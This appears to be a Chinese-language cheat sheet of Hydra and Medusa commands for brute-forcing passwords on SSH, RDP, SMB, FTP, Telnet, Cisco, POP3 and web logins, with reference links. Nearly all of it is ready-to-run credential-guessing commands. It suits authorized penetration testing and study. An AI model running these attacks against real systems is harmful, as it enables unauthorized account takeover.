hydra常用命令

使用hydra破解ssh的密码

hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https：

# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak：

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco：

# hydra -P pass.txt IP cisco

# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb：

# hydra -l administrator -P pass.txt IP smb

破解pop3：

# hydra -l muts -P pass.txt my.pop3.mail pop3

破解rdp：

# hydra IP rdp -l administrator -P pass.txt -V

破解http-proxy：

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet

# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

破解ftp：

# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV

get方式提交，破解web登录：

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php

使用medusa爆破

medusa -M ssh -h 127.0.0.1 -F -u cqq -P /tmp/pass.txt

参考

http://www.vuln.cn/2528
http://blog.51cto.com/jzking121/1770605
https://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/
https://www.cnblogs.com/ch3n3y/p/5877018.html
http://foofus.net/goons/jmk/medusa/medusa.html